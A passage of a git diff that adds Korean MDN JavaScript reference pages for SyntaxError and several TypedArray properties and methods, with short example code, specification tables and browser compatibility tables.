+<h3 id="SyntaxError_생성하기"><code>SyntaxError</code> 생성하기</h3>
+
+<pre class="brush: js">try {
+  throw new SyntaxError('Hello', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "Hello"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "someFile.js"
+  console.log(e.lineNumber);             // 10
+  console.log(e.columnNumber);           // 0
+  console.log(e.stack);                  // "@Scratchpad/2:11:9\n"
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.SyntaxError")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("SyntaxError.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/syntaxerror/prototype/index.html b/files/ko/web/javascript/reference/global_objects/syntaxerror/prototype/index.html
new file mode 100644
index 0000000000..5fda6d61ad
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/syntaxerror/prototype/index.html
@@ -0,0 +1,126 @@
+---
+title: SyntaxError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>SyntaxError.prototype </strong></code>속성은 {{jsxref("SyntaxError")}} 객체의 생성자 프로토타입을 표현합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 {{jsxref("SyntaxError")}} 인스턴스는 <code>SyntaxError.prototype </code>객체로부터<code> </code>상속 받습니다. 또한, 속성이나 메소드를 추가할 때 모든 인스턴스에 프로토타입을 사용 할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>SyntaxError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성하는 함수를 명시합니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}</dt>
+ <dd>에러 메시지. 비록 ECMA-262는  {{jsxref("SyntaxError")}} 가 고유의 <code>message</code> 속성을 제공해야 한다고 명시하고 있지만, <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> 에서는, {{jsxref("Error.prototype.message")}}를 상속 받습니다. </dd>
+ <dt>{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}</dt>
+ <dd>에러명. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}</dt>
+ <dd>에러를 발생시킨 파일의 경로. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}</dt>
+ <dd>에러가 발생한 파일의 코드 라인 넘버. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}</dt>
+ <dd>에러가 발생된 라인의 컬럼 넘버. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}</dt>
+ <dd>스택 트레이스. {{jsxref("Error")}}로부터 상속 받습니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>비록 {{jsxref("SyntaxError")}} 프로토타입 객체는 고유의 메소드를 가지고 있지는 않지만, {{jsxref("SyntaxError")}} 인스턴스는 몇 가지의 메소드를 프로토타입 체인을 통하여 상속 받습니다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td><code><em>NativeError</em>.prototype</code>로 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><code><em>NativeError</em>.prototype</code>로 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td><code><em>NativeError</em>.prototype</code>로 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/@@iterator/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/@@iterator/index.html
new file mode 100644
index 0000000000..ded3d1c973
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/@@iterator/index.html
@@ -0,0 +1,127 @@
+---
+title: 'TypedArray.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator
+tags:
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>@@iterator 속성의 초기값은 {{jsxref("TypedArray.prototype.values()", "values")}} 속성의 초기값과 같은 함수 객체입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>[Symbol.iterator]()</code></pre>
+
+<h2 id="예">예</h2>
+
+<h3 id="for...of_루프를_사용하는_반복"><code>for...of</code> 루프를 사용하는 반복</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+// 브라우저가 for..of 루프 및 for 루프에서
+// let 스코프인 변수를 지원해야 합니다
+for (let n of arr) {
+  console.log(n);
+}
+</pre>
+
+<h3 id="대안_반복">대안 반복</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // 10
+console.log(eArr.next().value); // 20
+console.log(eArr.next().value); // 30
+console.log(eArr.next().value); // 40
+console.log(eArr.next().value); // 50
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype-@@iterator', '%TypedArray%.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatGeckoDesktop("36") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatGeckoMobile("36") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 17 (Firefox 17 / Thunderbird 17 / SeaMonkey 2.14)에서 Gecko 26 (Firefox 26 / Thunderbird 26 / SeaMonkey 2.23 / Firefox OS 1.2)까지는 <code>iterator</code> 속성이 쓰였고(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=907077">bug 907077</a>), Gecko 27에서 Gecko 35까지는 <code>"@@iterator"</code> placeholder가 사용됐습니다. Gecko 36 (Firefox 36 / Thunderbird 36 / SeaMonkey 2.33)에서는, <code>@@iterator</code> <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Symbol">symbol</a>이 구현됐습니다 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=918828">bug 918828</a>).</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("TypedArray.prototype.entries()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.keys()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/buffer/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/buffer/index.html
new file mode 100644
index 0000000000..702fe13eb7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/buffer/index.html
@@ -0,0 +1,111 @@
+---
+title: TypedArray.prototype.buffer
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/buffer
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/buffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>buffer</code></strong> 접근자(accessor) 속성(property)은 생성 시간에 <em>TypedArray</em>에 의해 참조되는 {{jsxref("ArrayBuffer")}}를 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedArray</var>.buffer</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>buffer</code> 속성은 set 접근자 함수가 <code>undefined</code>인 접근자 속성입니다, 이 속성을 읽을 수만 있음을 뜻하는. 그 값은 <em>TypedArray</em>가 만들어질 때 수립되어 변경될 수 없습니다. <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="buffer_속성_사용"><code>buffer</code> 속성 사용</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint16 = new Uint16Array(buffer);
+uint16.buffer; // ArrayBuffer { byteLength: 8 }
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/bytelength/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/bytelength/index.html
new file mode 100644
index 0000000000..37a12d927a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/bytelength/index.html
@@ -0,0 +1,73 @@
+---
+title: TypedArray.prototype.byteLength
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>byteLength</code></strong> 접근자(accessor) 속성(property)은 형식화 배열의 길이(바이트 단위)를 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.byteLength</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>byteLength</code> 속성은 접근자 함수가 <code>undefined</code>인 접근자 속성입니다, 이 속성을 읽을 수만 있음을 뜻하는. 그 값은 <em>TypedArray</em>가 만들어질 때 수립되어 변경될 수 없습니다. <em>TypedArray</em>에 <code>byteOffset</code> 또는 <code>length</code>를 지정하지 않은 경우, 참조되는 <code>ArrayBuffer</code>의 <code>length</code>가 반환됩니다. <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="byteLength_속성_사용"><code>byteLength</code> 속성 사용</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(buffer);
+uint8.byteLength; // 8 (버퍼의 byteLength와 일치)
+
+var uint8 = new Uint8Array(buffer, 1, 5);
+uint8.byteLength; // 5 (Uint8Array를 만들 때 지정된 대로)
+
+var uint8 = new Uint8Array(buffer, 2);
+uint8.byteLength; // 6 (만든 Uint8Array의 오프셋으로 인해)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.byteLength")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/byteoffset/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/byteoffset/index.html
new file mode 100644
index 0000000000..3be7af84cd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/byteoffset/index.html
@@ -0,0 +1,69 @@
+---
+title: TypedArray.prototype.byteOffset
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>byteOffset</code></strong> 접근자(accessor) 속성(property)은 그 {{jsxref("ArrayBuffer")}}의 시작점에서 형식화 배열의 오프셋(단위 바이트)을 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.byteOffset</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>byteOffset</code> 속성은 set 접근자 함수가 <code>undefined</code>인 접근자 속성입니다, 이 속성을 읽을 수만 있음을 뜻하는. 그 값은 <em>TypedArray</em>가 만들어질 때 수립되어 변경될 수 없습니다. <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="byteOffset_속성_사용"><code>byteOffset</code> 속성 사용</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(buffer);
+uint8.byteOffset; // 0 (지정된 오프셋이 없음)
+
+var uint8 = new Uint8Array(buffer, 3);
+uint8.byteOffset; // 3 (Uint8Array를 만들 때 지정된 대로)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.byteOffset")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html
new file mode 100644
index 0000000000..563b7856cc
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html
@@ -0,0 +1,75 @@
+---
+title: TypedArray.BYTES_PER_ELEMENT
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT
+tags:
+  - JavaScript
+  - Property
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>TypedArray.BYTES_PER_ELEMENT</strong></code> 속성은 각 형식화 배열 요소의 크기를 바이트로 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-bytes-per-element.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>TypedArray 객체는 요소 당 바이트 수 및 바이트가 해석되는 방법으로 서로 다릅니다. <code>BYTES_PER_ELEMENT</code> 상수는 주어진 TypedArray의 각 요소가 갖는 바이트 수를 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">Int8Array.BYTES_PER_ELEMENT;         // 1
+Uint8Array.BYTES_PER_ELEMENT;        // 1
+Uint8ClampedArray.BYTES_PER_ELEMENT; // 1
+Int16Array.BYTES_PER_ELEMENT;        // 2
+Uint16Array.BYTES_PER_ELEMENT;       // 2
+Int32Array.BYTES_PER_ELEMENT;        // 4
+Uint32Array.BYTES_PER_ELEMENT;       // 4
+Float32Array.BYTES_PER_ELEMENT;      // 4
+Float64Array.BYTES_PER_ELEMENT;      // 8</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>ECMAScript 6로 대체됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.BYTES_PER_ELEMENT")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/fill/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/fill/index.html
new file mode 100644
index 0000000000..8e315fc201
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/fill/index.html
@@ -0,0 +1,75 @@
+---
+title: TypedArray.prototype.fill()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/fill
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/fill
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>fill()</code></strong> 메서드는 배열의 모든 요소를 지정한 시작 인덱스부터 종료 인덱스까지 정적인 값으로 채웁니다. <code>fill()</code>은 {{jsxref("Array.prototype.fill()")}}과 동일한 알고리즘을 가지고 있습니다. TypedArray 는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">typed array types</a> 이곳에 있는 것 중 하나 입니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/typedarray-fill.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>typedarray</var>.<code>fill(<var>value</var>[, <var>start<var> = 0[, <var>end</var> = this.length]])</var></var></code></code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>배열에 채워넣을 값.</dd>
+ <dt><code>start</code></dt>
+ <dd>선택사항. 시작 위치. 기본값은 0.</dd>
+ <dt><code>end</code></dt>
+ <dd>선택사항. 종료 위치 (종료위치를 포함하지않습니다. 즉, end -1 까지만 해당됩니다.). 기본값 this.length(배열의 길이).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>start 와 end 사이에 요소들을 채웁니다.</p>
+
+<p><strong><code>fill</code></strong> 메소드는 value, start 그리고 and 3개의 매개변수를 요구합니다. start 와 end 매개변수는 선택사항이며 기본값은 0 과 지정한 배열객체의 길이값 입니다.</p>
+
+<p>만약 start 매개변수가 음수이면, start 의 값은 배열의 길이값을 합한 결과가 시작지점이 되고, 만약 end 가 음수라면, end 매개변수와 배열의 길이값을 합한 결과가 종료지점이 됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">new Uint8Array([1, 2, 3]).fill(4);         // Uint8Array [4, 4, 4]
+new Uint8Array([1, 2, 3]).fill(4, 1);      // Uint8Array [1, 4, 4]
+new Uint8Array([1, 2, 3]).fill(4, 1, 2);   // Uint8Array [1, 4, 3]
+new Uint8Array([1, 2, 3]).fill(4, 1, 1);   // Uint8Array [1, 2, 3]
+new Uint8Array([1, 2, 3]).fill(4, -3, -2); // Uint8Array [4, 2, 3]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.TypedArray.fill")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.fill()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/index.html
new file mode 100644
index 0000000000..3f4edc9970
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/index.html
@@ -0,0 +1,342 @@
+---
+title: TypedArray
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray
+tags:
+  - JavaScript
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p><strong><em>TypedArray</em></strong> 객체는 밑에 깔린 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">이진 데이터 버퍼</a>의 배열 같은 뷰를 기술합니다. <code>TypedArray</code>인 전역 속성도 눈에 직접 보이는 <code>TypedArray</code> 생성자도 없습니다. 대신 다양한 전역 속성이 있습니다, 그 값이 아래 나열된 특정 요소 유형에 대한 형식화 배열 생성자인. 다음 페이지에서 각 유형 요소를 포함하는 모든 형식화 배열에 쓰일 수 있는 공통 속성 및 메서드를 찾을 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new<em> TypedArray</em>(length);
+new <em>TypedArray</em>(typedArray);
+new <em>TypedArray</em>(object);
+new <em>TypedArray</em>(buffer [, byteOffset [, length]]);
+
+<em>TypedArray()</em>는 다음 중 하나입니다:
+
+Int8Array();
+Uint8Array();
+Uint8ClampedArray();
+Int16Array();
+Uint16Array();
+Int32Array();
+Uint32Array();
+Float32Array();
+Float64Array();
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt>length</dt>
